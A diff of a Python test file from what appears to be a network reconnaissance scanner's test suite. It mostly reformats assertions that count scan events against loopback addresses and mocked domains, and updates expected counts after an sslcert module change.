e.type == "URL" + and e.url == "http://127.0.0.77:8888/" + and e.internal is False + and e.scope_distance == 1 + ] + ) + assert 0 == len( + [ + e + for e in _graph_output_events + if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"]) + assert 0 == len( + [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"] + ) # 2 events from a single HTTP_RESPONSE events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "127.0.0.111/31", "127.0.0.222", "127.0.0.33", + "127.0.0.111/31", + "127.0.0.222", + "127.0.0.33", seeds=["127.0.0.111/31"], modules=["http"], output_modules=["python"], @@ -585,25 +1958,82 @@ def custom_setup(scan): ) assert len(events) == 12 - assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.111:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in events + if e.type == "URL" + and e.url == "http://127.0.0.111:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "URL" + and e.url == "http://127.0.0.222:8889/" + and e.internal is False + and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) @@ -613,88 +2043,599 @@ def custom_setup(scan): assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) assert len(all_events) == 31 - assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.110:8888" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.111:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL" + and e.url == "http://127.0.0.111:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "HTTP_RESPONSE" + and e.data["input"] == "127.0.0.111:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.111:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.222:8889/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.33:8889/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.222:8888" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.222:8889" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.222:8889" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.33:8888" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.33:8889" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.33:8889" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL" + and e.url == "http://127.0.0.222:8889/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "HTTP_RESPONSE" + and e.data["url"] == "http://127.0.0.222:8889/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "HTTP_RESPONSE" + and e.data["url"] == "http://127.0.0.33:8889/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.44:8888/" + and e.internal is True + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.55:8888/" + and e.internal is True + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.44:8888" + and e.internal is True + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.55:8888" + and e.internal is True + and e.scope_distance == 1 + ] + ) assert len(all_events_nodups) == 27 - assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.110:8888" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.111:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL" + and e.url == "http://127.0.0.111:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "HTTP_RESPONSE" + and e.data["input"] == "127.0.0.111:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.111:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.222:8889/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.33:8889/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.222:8888" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.222:8889" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.33:8888" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.33:8889" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL" + and e.url == "http://127.0.0.222:8889/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "HTTP_RESPONSE" + and e.data["url"] == "http://127.0.0.222:8889/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "HTTP_RESPONSE" + and e.data["url"] == "http://127.0.0.33:8889/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.44:8888/" + and e.internal is True + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.55:8888/" + and e.internal is True + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.44:8888" + and e.internal is True + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.55:8888" + and e.internal is True + and e.scope_distance == 1 + ] + ) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 12 - assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_RANGE" + and e.data == "127.0.0.110/31" + and e.internal is False + and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/"]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.111:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "URL" + and e.url == "http://127.0.0.111:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/"] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/"] + ) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/"]) + assert 0 == len( + [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/"] + ) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) + assert 0 == len( + [e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"] + ) + assert 1 == len( + [e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"] + ) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/"]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "URL" + and e.url == "http://127.0.0.222:8889/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "URL" + and e.url == "http://127.0.0.33:8889/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/"] + ) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/"]) + assert 0 == len( + [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/"] + ) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) @@ -707,123 +2648,476 @@ def custom_setup(scan): _dns_mock={"www.bbottest.notreal": {"A": ["127.0.1.0"]}, "test.notreal": {"A": ["127.0.0.1"]}}, ) - assert len(events) == 7 - assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + # sslcert now watches HTTP_RESPONSE, which auto-enables the http module. + # This adds HTTP_RESPONSE, URL (from http), and URL_UNVERIFIED (from speculate) events. + assert len(events) == 10 + assert 1 == len( + [ + e + for e in events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999"]) - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert" and "affiliate" in e.tags]) + assert 1 == len([e for e in events if e.type == "HTTP_RESPONSE" and str(e.module) == "http"]) + assert 1 == len([e for e in events if e.type == "URL" and str(e.module) == "http"]) + assert 1 == len([e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"]) + assert 1 == len( + [ + e + for e in events + if e.type == "DNS_NAME" + and e.data == "test.notreal" + and e.internal is False + and e.scope_distance == 0 + and str(e.module) == "sslcert" + ] + ) + assert 1 == len( + [ + e + for e in events + if e.type == "DNS_NAME" + and e.data == "www.bbottest.notreal" + and e.internal is False + and e.scope_distance == 1 + and str(e.module) == "sslcert" + and "affiliate" in e.tags + ] + ) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"]) assert 0 == len([e for e in events if e.type == "DNS_NAME_UNRESOLVED" and e.data == "notreal"]) - assert len(all_events) == 13 - assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if 